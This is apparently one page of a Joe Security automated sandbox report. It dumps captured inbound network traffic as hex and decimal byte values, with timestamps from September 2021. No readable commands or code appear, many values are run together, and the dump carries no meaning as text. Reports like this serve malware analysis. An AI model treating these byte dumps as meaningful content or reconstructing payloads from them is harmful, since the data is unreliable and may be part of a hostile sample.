36 37 20 31 39 36 20 32 30 35 20 31 31 32 20 32 33 35 20 35 33 20 31 37 35 20 34 32 20 36 31 20 39 37 20 31 38 38 20
31303920 3134322031 353420 36 34 20 33 33 20 32 33 39 20 38 31 20 31 34 39 20 31 39 36 20 32 30 20 39 39 20
39 34 20 34 38 20 32 33 34 20 31 35 39 20 31 31 30 20 31 32 30 20 32 35 20

Data Ascii: 7 131 40 53 51 215 86 216 196 110 116 211 50 245 156 87 118 41 109 36 153 87 50 183 86 202 223 10 112
23553 133 135 15 97 100 105 183 131 82 33 47 80 167 196 205 112 235 53 175 42 61 97 188 109 142 154 64 33 239 81
149 196 20 99 94 48 234 159 110 120 25

Data Raw: 20 32 37 20 32 36 20 33 20 33 20 35 30 20 31 31 35 20 39 33 20 39 31 20 33 36 20 32 39 20 32 37 20 38 20
33 3020 37 30 20 34 38 20 39 37 20 37 39 20 33 39 20 36 20 31 36 20 30 20 39 34 20 31 31 33 20 39 35 20 39 35 20 37
30 20 35 39 20 32 38 20 31 36 20 33 20 34 20 31 32 37 20 39 35 20 38 36 20 38 33 20 35 36 20 31 31 34 20 34 38 20 39
20 32 3520 37 30 20 39 35 20 36 34 20 31 31 36 20 33 38 20 32 39 20 32 20 33 30 20 31 37 20 38 30 20 39 32 20 38 37
20 31 31 39 20 33 32 20 36 20 37 20 34 20 31 38 20 37 31 20 36 38 20 38 37 20 35 34 20 31 37 20 32 32 20 32 38 20 32
3520 33 31 20 36 34 20 31 31 34 20 36 34 20 38 39 20 33 35 20 31 20 32 30 20 31 35 20 32 38 20 38 37 20 39 39 20 37
30 20 38 37 20 33 32 20 32 33 20 31 31 37 20 34 36 20 33 31 20 39 32 20 36

Data Ascii: 27 26 3350 115 93 91 36 29 27 8 30 70 48 97 7939 6 16 0 94 113 95 95 70 59 28 16 3 4 127 95 86 83 56
114 48925709564 11638292 3017809287 1193267 418 7168 87 54 17 22 28 2531 64 114 64 89351 20 15 28
87997087 3223117 4631926

Data Raw: 32 33 20 34 33 20 32 31 20 31 31 39 20 39 20 37 30 20 39 34 20 32 34 20 35 38 20 30 20 32 31 20 36 36 20
39 3320 36 20 38 35 20 31 31 20 38 34 20 38 31 20 37 32 20 32 38 20 35 32 20 31 32 30 20 34 20 37 35 20 31 30 31 20
39 39 20 32 30 20 35 34 20 34 31 20 32 32 20 31 32 33 20 38 39 20 31 31 39 20 39 36 20 31 38 20 32 35 20 32 20 32 30
20 353320 31 31 39 20 36 20 31 31 37 20 35 20 31 31 32 20 38 36 20 36 36 20 39 34 20 35 36 20 36 39 20 39 38 20 38
3520 37 39 20 31 30 32 20 34 35 20 31 36 20 33 38 20 34 32 20 31 30 33 20 39 31 20 37 34 20 38 37 20 37 20 32 39 20
37 32 20 31 30 39 20 39 34 20 38 31 20 38 33 20 37 30 20 38 39 20 33 38 20 31 31 34 20 38 36 20 38 30 20 31 20 39 33
20 39 34 20 31 32 37 20 39 36 20 33 30 20 35 39 20 33 20 35 30 20 33 32 20

Data Ascii: 23 4321 119 9 70 94 24 58 0 21 66 93 6 85 11 84 81 72 28 52 120 4 75 101 99 20 54 41 22 123 89 119 96 18
25220531196 1175112 86 66 94 56 69 98 85 79 102 45 16 38 42 103 91 74 87 7 29 72 109 94 81 83 70 89 38 114 86
80 193 94 127 96 30 59 3 50 32

Data Raw: 31 30 38 20 33 20 36 38 20 34 33 20 39 20 31 32 30 20 36 37 20 39 32 20 34 20 31 31 20 37 20 33 30 20 33
382032 34 20 37 20 31 32 37 20 31 32 34 20 31 31 36 20 32 31 20 33 38 20 31 38 20 38 30 20 37 37 20 35 30 20 31 39
20 31 35 20 37 31 20 35 31 20 36 38 20 36 38 20 33 32 20 31 37 20 31 30 30 20 38 39 20 31 32 33 20 36 36 20 31 30 33
20 35 352037 20 34 37 20 32 36 20 37 31 20 31 31 33 20 32 20 31 32 30 20 31 30 39 20 34 32 20 37 20 32 36 20 37 37
20 31 3520 34 38 20 31 37 20 31 31 20 33 37 20 31 36 20 35 37 20 34 37 20 35 37 20 39 33 20 31 32 31 20 31 30 36 20
31 31 31 20 32 36 20 32 30 20 36 33 20 31 20 36 37 20 37 34 20 39 20 31 32 36 20 31 32 36 20 33 37 20 34 38 20 33 34
20 33 3520 34 39 20 31 35 20 31 33 20 35 30 20 32 31 20 31 30 35 20 33 20

Data Ascii: 108 3 68 43 9 120 67 924 117 303824 7 127 124 116 21 38 18 80 77 50 19 15 71 51 68 68 32 17 100 89 123
66 10355747 26711132120109427 26 77 154817 11 37 16 57 47 57 93 121 106 111 26 20 63 1 67 74 9 126 126
37 48 34 3549 15 13 50 21 105 3

Data Raw: 20 33 39 20 31 20 39 39 20 37 33 20 33 20 37 31 20 32 39 20 37 39 20 31 31 37 20 37 38 20 37 37 20 36 37
20 39 33 20 31 30 32 20 37 38 20 31 39 20 32 37 20 35 36 20 34 34 20 36 34 20 37 20 39 32 20 31 30 32 20 31 31 35 20
3332 20 32 39 20 33 37 20 36 31 20 33 38 20 34 20 39 38 20 31 31 36 20 31 32 31 20 36 31 20 32 36 20 36 35 20 34 31
20 34 31 2039 37 20 30 20 37 31 20 37 38 20 33 38 20 31 30 20 33 37 20 33 34 20 36 38 20 36 38 20 31 31 33 20 33 20
31 32 36 20 31 30 32 20 32 34 20 36 37 20 35 36 20 37 37 20 35 30 20 31 39 20 31 35 20 37 31 20 39 37 20 32 31 20 37
20 36 31 20 37 20 38 35 20 31 31 37 20 37 31 20 36 38 20 37 20 32 38 20 36 37 20 33 38 20 35 20 37 30 20 31 30 32 20
3132 36 20 31 30 31 20 39 37 20 34 35 20 32 36 20 36 31 20 35 31 20 39 34

Data Ascii: 39199 733712979117 78 77 67 93 102 78 19 27 56 44 64 7 92 102 115 32 29 37 61 38 4 98 116 121 61
2665414197071 78381037 3468681133126 10224 67 56 775019 157197217617 8511771687 28 67 385
70102 126 101 97 45 26 61 51 94
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Data Raw: 20 33 20 34 20 32 34 20 35 34 20 31 32 37 20 38 39 20 37 20 39 37 20 35 33 20 38 36 20 32 20 38 35 20 31
372031 32 34 20 39 20 31 31 37 20 31 31 33 20 35 36 20 36 30 20 36 35 20 33 37 20 36 35 20 39 39 20 31 33 20 31 35
20 35 34 20 31 31 39 20 37 39 20 34 20 38 20 36 34 20 39 35 20 31 30 35 20 32 32 20 31 30 30 20 31 31 20 30 20 35 35
2033302033 322031323320 313036203130 342036 34 20 31 3033 20 32 36 20 33 37 20 33 33 20 33 35 20 36
2038 37 20 31 3520 31 31 20 38 34 20 38 31 20 37 32 20 32 38 20 36 35 20 30 20 39 34 20 33 20 31 20 31 30 30 20 37
3020 35352034 3220382039 31203130302031312031313920353920363120323620353720363220
36 37 20 39 35 20 38 35 20 31 31 20 31 30 35 20 31 31 34 20 38 36 20 38 30

Data Ascii: 342454127897 97538628517 1249117 113 56 60 65 37 65 99 13 15 54 119 79 4 8 64 95 105 22 100
110553032123 106 104 64 103 26 37 3335687 151184 81 7228 65094 31 100 70 55 42 8 91 100 11 119 59 61 26
57 62 67 95 85 11 105 114 86 80

Data Raw: 38 20 31 35 20 34 38 20 31 37 20 31 31 20 33 37 20 32 36 20 36 35 20 39 35 20 31 20 31 30 37 20 36 39 20
39 34 20 32 20 36 30 20 32 34 20 38 31 20 31 32 20 31 37 20 37 20 39 33 20 39 34 20 36 37 20 35 33 20 32 32 20 33 20
33 3320 34 39 20 31 35 20 31 33 20 35 30 20 32 31 20 31 30 35 20 33 20 32 39 20 32 36 20 39 20 31 32 34 20 38 31 20
31 30 39 20 39 30 20 36 30 20 36 20 30 20 32 20 39 20 37 31 20 31 32 32 20 31 32 31 20 33 20 36 32 20 36 35 20 35 35
20 31 34 20 3534 20 36 20 37 32 20 37 31 20 33 20 35 30 20 34 33 20 36 34 20 35 33 20 32 34 20 31 31 36 20 39 32 20
38 3520 37 36 20 36 33 20 36 33 20 36 38 20 34 36 20 32 33 20 37 35 20 36 20 31 32 33 20 31 31 39 20 31 3035 20 31
31 34 20 38 36 20 38 30 20 31 20 31 30 37 20 38 39 20 31 30 36 20 39 36 20

Data Ascii: 8 15 48 17 11 37 26 65 95 1 107 69 94 2 60 24 81 12 17 7 93 94 67 53 22 3 33 49 15 13 50 21 105 3 29 26 9
1248110990606 02971122 121362 6555145467271 35043 64532411692 85 76 63 6368 4623 756 123
119105 114 86 80 1 107 89 106 96

Data Raw: 20 33 39 20 39 37 20 39 31 20 35 20 38 32 20 35 39 20 37 34 20 33 35 20 35 39 20 34 20 39 30 20 38 37 20
31352031 31 20 38 34 20 38 31 20 37 32 20 32 38 20 36 30 20 31 30 39 20 39 37 20 31 30 39 20 31 30 30 20 34 38 20
33 39 20 32 34 20 35 30 20 37 20 31 32 30 20 37 20 31 30 30 20 38 33 20 32 20 35 20 33 32 20 32 38 20 33 34 20 31 30
3620 38 3220 31 31 3520 31 31 20 31 30 35 20 31 31 34 20 38 36 20 38 30 20 31 20 31 31 37 20 39 30 20 36 36 20 36
20322031 36203637 20 38 20 32 32 20 31 32 35 20 31 32 36 20 36 39 20 31 31 39 20 32 36 20 32 35 20 32 32 20 33
382032203132372031303020383920313237203232203130203633203237203220313120313133
20 39 34 20 38 33 20 31 38 20 32 30 20 36 33 20 33 31 20 32 35 20 37 31 20

Data Ascii: 39 97 91 582 59 74 3559 490 87 15 11 84 81 72 28 60 109 97 109 100 48 39 24 50 7 120 7 100 83 2 5 32 28
341068211511 10511486801 117 90 66 6 2 16 67 8 22 125 126 69 119 26 25 22 38 2 127 100 89 127 22 10 63 27 2
111139483182063312571

Data Raw: 36 30 20 33 34 20 31 38 20 38 30 20 37 37 20 35 30 20 31 39 20 31 35 20 37 31 20 34 35 20 31 30 20 35 20
31312033 312039 342031323420 31 30 33 20 39 34 20 32 35 20 34 20 35 31 20 35 37 20 35 32 20 31 31 39 20 32
20 39 30 20 31 30 35 20 33 39 20 31 31 20 33 20 36 30 20 37 37 20 31 35 20 34 38 20 31 37 20 31 31 20 33 37 20 36 31
2036 32 20 36 32 20 32 39 20 31 30 37 20 31 31 37 20 36 20 31 20 34 20 36 34 20 31 35 20 37 33 20 33 37 20 31 30 36
2036 3520313137 2031313520302033302032372031312032332031352031332035302032312031
303520 332032302031 312031302039 392038 3320313237 203131372033 31203636 203136203539
20 33 3520 38 31 20 36 38 20 31 32 33 20 36 20 32 39 20 31 37 20 34 39 20

Data Ascii: 60 34 18 80 77 50 19 15 71 45105 11 31 94 124 103 94 254 51 57 52 119 2 90 105 39 11 3 60 77 1548 17
1137 61626229107 11761464 1573 37 106 65 117 11503027 11 23 1513 50 21 105 3 20 11 10 99 83 127 117 31
66 16 59 3581 68 123 6 29 17 49

Data Raw: 36 37 20 38 37 20 36 36 20 31 31 20 35 37 20 31 36 20 32 30 20 31 31 32 20 31 31 33 20 36 36 20 38 37 20
38 37 20 33 32 20 32 33 20 34 39 20 38 20 31 39 20 36 34 20 37 33 20 36 36 20 36 36 20 35 39 20 30 20 31 31 37 20 35
37 20 32 20 38 33 20 39 34 20 36 35 20 38 30 20 35 39 20 30 20 32 34 20 34 33 20 32 35 20 39 32 20 38 31 20 39 34 20
31 31 36 20 35 36 20 32 39 20 32 32 20 36 20 31 31 32 20 36 35 20 38 35 20 37 30 20 31 30 35 20 32 31 20 37 20 31 20
32 20 35 34 20 39 34 20 36 39 20 36 35 20 39 34 20 38 34 20 33 33 20 32 35 20 38 20 32 31 20 36 36 20 34 38 20 38 35
20 38 33 20 33 32 20 34 35 20 34 38 20 32 31 20 32 31 20 38 31 20 36 39 20 37 30 20 38 37 20 35 34 20 33 30 20 31 36
2036 3120 31 37 20 37 30 20 38 38 20 35 30 20 38 31 20 34 39 20 36 20 34

Data Ascii: 67 87 66 11 57 16 20 112 113 66 87 87 32 23 49 8 19 64 73 66 66 59 0 117 57 2 83 94 65 80 59 0 24 43 25 92
8194 116 56 29 22 6 112 658570 10521 7 1 2 54 94 69 65 94 84 33 25 8 21 66 48 85 83 32 45 48 21 21 81 69 70 87 54
30166117 708850814964

Data Raw: 38 20 33 37 20 33 35 20 31 38 32 20 32 34 39 20 31 31 35 20 31 30 30 20 32 33 36 20 38 31 20 33 36 20 35
3520 35 33 20 35 36 20 37 33 20 31 31 39 20 39 36 20 31 32 37 20 32 34 30 20 31 35 35 20 34 39 20 34 36 20 33 39 20
32 31 33 20 38 33 20 31 30 33 20 32 33 36 20 31 30 35 20 35 38 20 34 35 20 33 35 20 31 38 33 20 31 31 37 20 31 31 36
203131372031 3131203131 3320363020 34 35 20 35 35 20 33 35 20 38 33 20 31 32 30 20 31 32 33 20 31 31 32
20 31 31 37 20 33 35 20 31 37 36 20 32 35 31 20 34 33 20 37 32 20 31 32 32 20 31 30 30 20 34 35 20 39 38 20 31 37 39
20 34 31 20 35 38 20 33 39 20 32 30 20 39 39 20 35 33 20 31 30 30 20 31 31 32 20 34 38 20 35 36 20 33 35 20 31 38 32
20 31 35 37 20 39 39 20 32 34 35 20 31 36 34 20 31 30 33 20 35 33 20 35 34

Data Ascii: 8 37 35 182 249 115 100 236 81 36 55 53 56 73 119 96 127 240 155 49 46 39 213 83 103 236 105 58 45 35
183117 116 117 111 113 60 45 55 35 83 120 123 112 117 35 176 251 43 72 122 100 45 98 179 41 58 39 20 99 53 100
112 48 56 35 182 157 99 245 164 103 53 54

Data Raw: 30 36 20 39 34 20 31 37 34 20 31 36 39 20 32 33 35 20 37 30 20 35 34 20 34 36 20 32 30 39 20 31 36 36 20
313039 20 31 31 39 20 32 34 35 20 34 32 20 31 39 38 20 32 30 31 20 31 31 30 20 32 30 38 20 31 38 35 20 32 31 37 20
3136 37 20 31 35 38 20 32 33 20 31 39 34 20 37 37 20 32 34 33 20 31 37 35 20 31 38 20 33 37 20 33 33 20 31 38 31 20
32 30 3220 34 36 20 31 38 30 20 32 34 34 20 31 34 35 20 37 31 20 32 32 36 20 31 37 32 20 32 33 20 31 36 38 20 32 32
32 20 34 20 33 31 20 32 32 32 20 32 32 36 20 32 30 32 20 32 37 20 39 34 20 31 33 32 20 31 39 30 20 39 20 32 34 36 20
3133 34 20 31 38 32 20 37 31 20 32 31 20 31 38 20 37 34 20 32 34 39 20 32 34 39 20 31 38 34 20 32 35 31 20 32 31 38
20 31 34 38 20 32 34 36 20 31 32 31 20 31 37 35 20 39 38 20 31 30 20 32 30

Data Ascii: 06 94 174 169 235 70 54 46 209 166 109 119 245 42 198 201 110 208 185 217 167 158 23 194 77 243 175 18
37 33181 202 46 180 244 145 71 226 172 23 168 222 4 31 222 226 202 27 94 132 190 9 246 134 182 71 21 18 74 249
249 184 251 218 148 246 121 175 98 10 20

Data Raw: 31 35 20 31 35 34 20 31 37 33 20 33 39 20 36 36 20 39 32 20 35 38 20 34 38 20 32 20 32 33 37 20 39 34 20
31 3037 20 32 36 20 31 30 36 20 33 34 20 31 38 36 20 31 30 30 20 32 30 31 20 39 37 20 31 33 3120 31 31 31 20 33 31
20 31 31 39 20 31 39 36 20 37 30 20 32 34 35 20 32 34 31 20 31 33 34 20 31 36 31 20 31 31 33 20 31 35 37 20 39 30 20
32 3030 20 32 33 35 20 31 39 33 20 32 33 32 20 32 35 34 20 34 35 20 38 39 20 31 31 31 20 39 33 20 31 36 32 20 37 39
20 31 32 39 20 34 36 20 38 38 20 32 30 20 31 35 32 20 32 35 35 20 33 34 20 32 30 33 20 32 33 39 20 31 34 35 20 39 39
20 31 35 35 20 32 35 34 20 31 32 20 32 33 36 20 32 35 34 20 32 33 37 20 36 39 20 33 30 20 38 30 20 39 38 20 31 36 35
20 31 3539 20 31 32 32 20 35 37 20 32 30 36 20 32 32 37 20 31 36 34 20 37

Data Ascii: 15 154 173 39 66 92 58 48 2 237 94 107 26 106 34 186 100 201 97 131 111 31 119 196 70 245 241 134 161
113 157 90 200 235 193 232 254 45 89 111 93 162 79 129 46 88 20 152 255 34 203 239 145 99 155 254 12 236 254 237
69 30 80 98 165 159 122 57 206 227 164 7

Page 47 of 118



kBytes
Timestamp transferred

2021-09-27 18:27:27 UTC 415

2021-09-27 18:27:27 UTC 431

2021-09-27 18:27:27 UTC 447

2021-09-27 18:27:27 UTC 463

2021-09-27 18:27:27 UTC 479

2021-09-27 18:27:27 UTC 495

2021-09-27 18:27:27 UTC 511

2021-09-27 18:27:27 UTC 527

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 33 20 31 33 34 20 35 38 20 31 38 38 20 38 35 20 32 33 32 20 37 36 20 32 32 34 20 31 32 30 20 37 34 20 31
32312032 31 36 20 32 33 38 20 39 20 31 36 37 20 34 37 20 31 33 20 36 36 20 31 38 31 20 33 39 20 31 38 30 20 39 33
2031 33 38 20 31 31 20 32 33 20 32 31 30 20 31 31 36 20 31 38 33 20 32 31 32 20 31 33 34 20 32 31 32 20 31 30 30 20
36 39 20 32 34 39 20 31 20 31 36 20 31 37 36 20 39 30 20 38 39 20 31 30 39 20 31 32 30 20 33 38 20 38 37 20 37 37 20
31383920313733203132372037 3120313339 203133332031352032323220313734203233392031
30 37 20 35332036 31 20 32 34 31 20 31 30 34 20 32 32 36 20 39 35 20 39 38 20 31 32 35 20 31 36 33 20 33 33 20 37
32203137 372031323020 323031203130322034322038322031

Data Ascii: 3 134 58 188 85 232 76 224 120 74 121 216 238 9 167 47 13 66 181 39 180 93 138 11 23 210 116 183 212
134212 100 69 249 1 16 176 90 89 109 120 38 87 77 189 173 127 71 139 133 15 222 174 239 107 53 61 241 104 226 95
98 125 163 33 72 177 120 201 10242 82 1

Data Raw: 20 39 30 20 31 30 39 20 38 39 20 31 37 39 20 31 36 32 20 36 34 20 31 34 20 36 20 31 37 33 20 31 33 36 20
38 3320 36 39 20 31 37 35 20 31 36 36 20 32 34 37 20 32 32 32 20 31 39 31 20 32 34 39 20 32 35 34 20 33 20 38 32 20
31 31 36 20 31 37 34 20 31 34 30 20 31 39 36 20 32 38 20 32 30 33 20 32 31 36 20 34 32 20 34 38 20 32 31 32 20 32 34
322031322031363220393620313732203435203239203132322032343420323235203131352031
313820323030203132203736203138332032313020313730203134352031343420323433203133
36 20 32 34 36 20 31 33 30 20 32 33 34 20 33 34 20 31 36 33 20 35 30 20 38 38 20 39 33 20 33 33 20 37 39 20 32 32 30
20 36 36 20 31 34 39 20 31 32 37 20 31 38 20 32 34 36 20 31 34 37 20 31 38

Data Ascii: 90 109 89 179 162 64 14 6 173 136 83 69 175 166 247 222 191 249 254 3 82 116 174 140 196 28 203 216 42
48 212 242 12 162 96 172 45 29 122 244 225 115 118 200 12 76 183 210 170 145 144 243 136 246 130 234 34 163 50 88
93 33 79 220 66 149 127 18 246 147 18

Data Raw: 20 31 30 37 20 31 38 35 20 31 36 32 20 35 32 20 34 30 20 32 35 20 31 38 37 20 31 35 38 20 36 37 20 37 35
2032353120 313334203139 312031363620 323139203237 2031323120 3138332035332031323720
3539 20 31 36 37 20 31 39 34 20 32 20 38 33 20 33 39 20 32 34 38 20 32 34 38 20 32 35 30 20 31 33 38 20 32 31 32 20
313137203234 382031313620313831203137 392035382037 382031 352032353420313820313539
203235302031 313620323535203132362031373420343520313439203520313131203730203233
382031 333220353020 383320323220323333203234322032312031353920313533203130322031
34 352031 31352031 32322036 352032362031 31342031333720

Data Ascii: 107 185 162 52 40 25 187 158 67 75 251 134 191 166 219 27 121 183 53 127 59 167 194 2 83 39 248 248
250138 212 117 248 116 181 179 58 78 15 254 18 159 250 116 255 126 174 45 149 5 111 70 238 132 50 83 22 233 242
21159 153 102 145 115 122 65 26 114 137

Data Raw: 36 20 31 35 39 20 32 33 33 20 35 35 20 32 35 30 20 31 39 36 20 31 31 37 20 32 35 31 20 33 36 20 31 39 39
2031332039 36 20 31 34 32 20 31 39 31 20 31 30 31 20 33 20 37 35 20 31 30 32 20 35 38 20 35 36 20 36 20 31 36 38
2031 32 3220 31 37 37 20 39 39 20 32 34 39 20 31 38 35 20 32 32 32 20 32 32 35 20 32 35 32 20 32 35 20 31 33 20 32
353320323620 31 3039 20 31 35 36 20 31 38 38 20 36 36 20 31 35 30 20 32 31 33 20 31 31 32 20 36 36 20 36 30 20
373820 32 35302039 37 20 32 30 35 20 36 31 20 31 31 20 39 37 20 32 32 30 20 38 35 20 31 39 30 20 31 34 38 20 36
36203231 3220313531203134342031352031333820313131203233342032313620313032203234
3720 32 32 38 20 31 35 34 20 32 31 36 20 39 34 20 31 36 39 20 32 33 39 20

Data Ascii: 6 159 233 55 250 196 117 251 36 199 13 96 142 191 101 3 75 102 58 56 6 168 122 177 99 249 185 222 225
252 25 13 253 26 109 156 188 66 150 213 112 66 60 78 250 97 205 61 11 97 220 85 190 148 66 212 151 144 15138 111
234 216 102 247 228 154 216 94 169 239

Data Raw: 32 32 39 20 36 32 20 32 35 32 20 31 37 31 20 31 35 31 20 31 36 20 31 35 32 20 31 35 33 20 31 36 38 20 35
332034 37 20 31 31 30 20 31 37 34 20 39 20 31 34 32 20 32 31 20 36 33 20 31 36 31 20 32 34 32 20 32 35 31 20 32 32
3520 31 36 32 20 32 34 38 20 32 34 31 20 34 35 20 31 32 20 35 39 20 32 33 34 20 33 37 20 31 34 30 20 36 34 20 37 30
20 32 35 34 20 36 39 20 31 32 38 20 32 35 20 31 38 37 20 32 35 35 20 32 34 20 31 33 20 33 36 20 31 37 20 37 32 20 39
36 20 31 33 38 20 32 33 37 20 31 39 34 20 31 34 38 20 31 36 32 20 38 33 20 32 33 36 20 31 30 37 20 32 34 34 20 31 39
39 20 32 33 36 20 33 37 20 31 30 34 20 36 38 20 31 35 30 20 31 37 38 20 32 33 30 20 34 35 20 32 35 31 20 32 35 31 20
31 36 38 20 34 37 20 32 31 37 20 32 35 31 20 31 37 39 20 32 33 35 20 31 30

Data Ascii: 229 62 252 171 151 16 152 153 168 53 47 110 174 9 142 21 63 161 242 251 225 162 248 241 45 12 59 234 37
140 64 70 254 69 128 25 187 255 24 13 36 17 72 96 138 237 194 148 162 83 236 107 244 199 236 37 104 68 150 178
230 45 251 251 168 47 217 251 179 235 10

Data Raw: 20 31 30 36 20 39 32 20 31 30 37 20 32 33 32 20 30 20 31 30 38 20 32 30 34 20 31 31 39 20 31 30 37 20 32
333720 31 37 39 20 30 20 31 33 32 20 31 38 33 20 31 33 31 20 34 34 20 32 34 33 20 31 38 33 20 32 34 33 20 31 38 37
20 31 33 34 20 37 36 20 31 39 38 20 31 32 32 20 31 30 30 20 32 30 37 20 31 36 38 20 31 33 39 20 31 37 20 31 32 33 20
37 322032323120 31353720 323535203130 3220 31 38 31 20 31 38 36 20 31 38 39 20 39 37 20 32 34 31 20 34
37 20 35 30 20 33 30 20 35 20 31 31 36 20 31 34 39 20 35 31 20 31 34 37 20 32 31 39 20 31 32 33 20 31 38 20 31 36 35
20 31 36 39 20 31 34 34 20 31 38 32 20 36 36 20 32 32 39 20 38 33 20 31 37 36 20 31 33 30 20 37 36 20 31 32 36 20 32
36 20 32 34 39 20 34 32 20 32 33 35 20 34 37 20 31 39 36 20 31 31 30 20 32

Data Ascii: 106 92 107 232 0 108 204 119 107 237 179 0 132 183 131 44 243 183 243 187 134 76 198 122 100 207 168
13917 123 72 221 157 255 102 181 186 189 97 241 47 50 30 5 116 149 51 147 219 123 18 165 169 144 182 66 229 83
176 130 76 126 26 249 42 235 47 196 110 2

Data Raw: 20 31 38 38 20 32 30 37 20 31 37 34 20 39 38 20 32 33 31 20 31 34 31 20 38 30 20 37 37 20 31 32 34 20 32
30 3420 39 35 20 31 32 31 20 32 30 38 20 38 35 20 31 30 33 20 34 32 20 31 33 37 20 36 37 20 34 20 32 30 35 20 32 34
3320 33 39 20 39 34 20 31 31 33 20 32 32 30 20 38 34 20 39 34 20 31 31 31 20 31 33 36 20 31 37 30 20 31 31 39 20 32
353320 333020 31 33 39 20 31 39 38 20 38 33 20 31 31 37 20 31 35 38 20 31 30 38 20 32 32 36 20 32 32 30 20 32 30
2031 32322031 32 38 20 32 32 35 20 31 32 36 20 32 35 32 20 33 30 20 31 36 37 20 38 33 20 32 33 33 20 31 30 31 20
3232 3920 31 38 35 20 31 34 37 20 32 38 20 31 31 32 20 32 33 38 20 37 33 20 31 34 34 20 31 37 32 20 31 37 39 20 31
3131 20 32 32 38 20 32 30 33 20 32 36 20 32 32 34 20 31 38 35 20 31 37 32

Data Ascii: 188 207 174 98 231 141 80 77 124 204 95 121 208 85 103 42 137 67 4 205 243 39 94 113 220 84 94 111 136
170 119 253 30 139 198 83 117 158 108 226 220 20 122 128 225 126 252 30 167 83 233 101 229 185 147 28 112 238 73
144 172 179 111 228 203 26 224 185 172

Data Raw: 32 32 39 20 37 38 20 34 35 20 32 31 20 32 32 35 20 36 36 20 31 31 30 20 31 33 39 20 33 35 20 31 38 31 20
32 3033 20 32 34 38 20 32 31 36 20 33 32 20 31 32 36 20 37 38 20 31 35 34 20 32 32 30 20 31 38 38 20 31 34 33 20 32
38 20 32 32 33 20 32 33 30 20 32 34 35 20 31 30 20 31 37 30 20 34 35 20 31 33 34 20 38 30 20 32 20 32 30 32 20 31 34
36 20 32 38 20 39 35 20 31 36 34 20 32 31 35 20 31 33 37 20 32 31 20 31 37 31 20 39 35 20 31 34 30 20 38 37 20 32 33
38 20 36 32 20 32 34 35 20 38 31 20 31 37 36 20 31 37 36 20 31 36 39 20 34 34 20 35 20 31 37 31 20 35 36 20 38 20 39
38 20 31 38 30 20 32 30 36 20 35 36 20 32 34 38 20 31 37 39 20 31 35 30 20 31 37 30 20 32 31 31 20 39 32 20 35 38 20
31 3536 20 31 30 39 20 31 33 38 20 36 32 20 39 38 20 31 34 33 20 33 33 20

Data Ascii: 229 78 45 21 225 66 110 139 35 181 203 248 216 32 126 78 154 220 188 143 28 223 230 245 10 170 45 134
80 2 202 146 28 95 164 215 137 21 171 95 140 87 238 62 245 81 176 176 169 44 5 171 56 8 98 180 206 56 248 179 150
170 211 92 58 156 109 138 62 98 143 33
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Data Raw: 36 37 20 31 31 39 20 32 30 36 20 33 35 20 38 36 20 37 30 20 32 33 30 20 31 36 34 20 31 36 33 20 32 35 31
203136 3220 32 3031 20 31 30 20 39 31 20 31 34 33 20 31 33 32 20 31 34 38 20 31 34 36 20 34 30 20 31 37 32 20 31
3136 20 38 37 20 31 32 31 20 31 35 36 20 31 35 39 20 31 37 36 20 32 31 39 20 32 31 30 20 32 33 20 31 37 33 20 31 39
3320 3134312031 2032303620 313233203237 20363020 3132203234 39203237 2032313820313033
2031 31392031333320323720313331203233 3920343020 323238203234 38203139 302036302037
322031333220323230203831203234322031312036362032323120313630203835203235332031
3920 32 34 36 20 31 37 30 20 39 32 20 32 36 20 31 38 37 20 36 30 20 31 34

Data Ascii: 67 119 206 35 86 70 230 164 163 251 162 201 10 91 143 132 148 146 40 172 116 87 121 156 159 176 219
21023173 193 141 1 206 123 27 60 12 249 27 218 103 119 133 27 131 239 40 228 248 190 60 72 132 220 81 242 11 66
221160 85 253 19 246 170 92 26 187 60 14

Data Raw: 20 31 30 39 20 32 34 20 31 37 33 20 31 33 30 20 31 32 37 20 31 31 37 20 33 37 20 31 36 37 20 35 34 20 31
38 3320 32 33 30 20 32 38 20 37 39 20 32 32 37 20 32 31 37 20 31 39 32 20 31 30 32 20 32 30 32 20 38 35 20 31 31 35
2032 31 30 20 31 3537 20 31 34 32 20 31 30 33 20 34 39 20 32 32 39 20 31 36 30 20 35 33 20 31 33 34 20 31 39 35 20
3136 34 20 31 38 39 20 31 32 37 20 37 35 20 32 30 33 20 34 35 20 35 35 20 35 37 20 31 36 31 20 31 39 34 20 38 39 20
313334203820313033203536203232203137322031343120323137203131302031313220313032
203132392032353120313420313231203234352031353620323431203232342031343320312031
3820 35352032 30312032 353220313538203137 342031353520

Data Ascii: 109 24 173 130 127 117 37 167 54 183 230 28 79 227 217 192 102 202 85 115 210 157 142 103 49 229 160
53 134 195 164 189 127 75 203 45 55 57 161 194 89 134 8 103 56 22 172 141 217 110 112 102 129 251 14 121 245 156
241 224 143 1 18 55 201 252 158 174 155

Data Raw: 35 20 32 38 20 31 35 35 20 31 39 36 20 32 37 20 34 37 20 38 31 20 31 30 39 20 31 37 34 20 31 39 20 32 33
3720323236 20 31 34 20 31 35 31 20 38 34 20 37 31 20 31 38 37 20 31 31 36 20 32 30 31 20 34 20 31 39 38 20 32 30
3720 32 32 30 20 36 30 20 31 34 37 20 35 32 20 31 31 31 20 31 32 34 20 37 30 20 31 36 37 20 31 32 32 20 35 33 20 38
36 20 31 32 20 33 36 20 32 30 30 20 32 3534 20 31 31 30 20 31 33 31 20 31 34 31 20 32 36 20 32 30 30 20 31 34 32 20
3139 352032333020 382034 33203134392031323720393520313635203131302032343320313934
2034 3920332032 3136203930203233382032303720313030203131362031363220323131203135
3720 31 34 39 20 3532 20 31 37 37 20 35 37 20 32 30 36 20 39 36 20 31 31

Data Ascii: 5 28 155 196 27 47 81 109 174 19 237 226 14 151 84 71 187 116 201 4 198 207 220 60 147 52 111 124 70
167 122 53 86 12 36 200 254 110 131 141 26 200 142 195 230 8 43 149 127 95 165 110 243 194 49 3 216 90 238 207
100 116 162 211 157 149 52 177 57 206 96 11

Data Raw: 33 37 20 31 30 35 20 31 35 34 20 31 38 20 31 31 30 20 37 38 20 32 32 37 20 32 30 35 20 32 34 33 20 37 35
2031333120 31333020 31323020 3235342031 3337 2039332031 38 33 20 31 39 20 31 33 30 20 33 37 20 31
37 36 20 32 30 37 20 31 37 39 20 31 37 34 20 31 30 34 20 31 33 35 20 31 39 36 20 39 39 20 31 32 38 20 32 34 36 20 32
3234203232352031323420 35372034 3520 313320323236 20 31 36 36 20 36 33 20 39 33 20 32 34 32 20 31
2031 3835203234 3520373320 3131352039 2031332034 312037332036 3020323135203235302032
333520313530203139203139312031363820323332203133302031302031303320353220383520
